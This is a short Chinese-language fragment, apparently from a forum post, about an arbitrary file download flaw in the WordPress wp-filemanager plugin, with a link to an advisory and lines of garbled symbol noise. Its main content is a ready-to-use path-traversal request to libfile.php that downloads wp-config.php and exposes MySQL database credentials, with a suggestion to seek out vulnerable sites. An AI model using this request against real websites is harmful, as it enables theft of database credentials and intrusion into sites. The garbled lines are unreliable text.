洞详解:http://packetstormsecurity.com/f ... -File-Download.html
4 T# @7 B5 H1 K2 Y% }; ? : O9 c1 X l: b& G0 Z+ q- p, w2 r
查找漏洞网站:访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download,下载wp-config,其中回显MySQL。. w! M W! x; e9 L5 @- p
|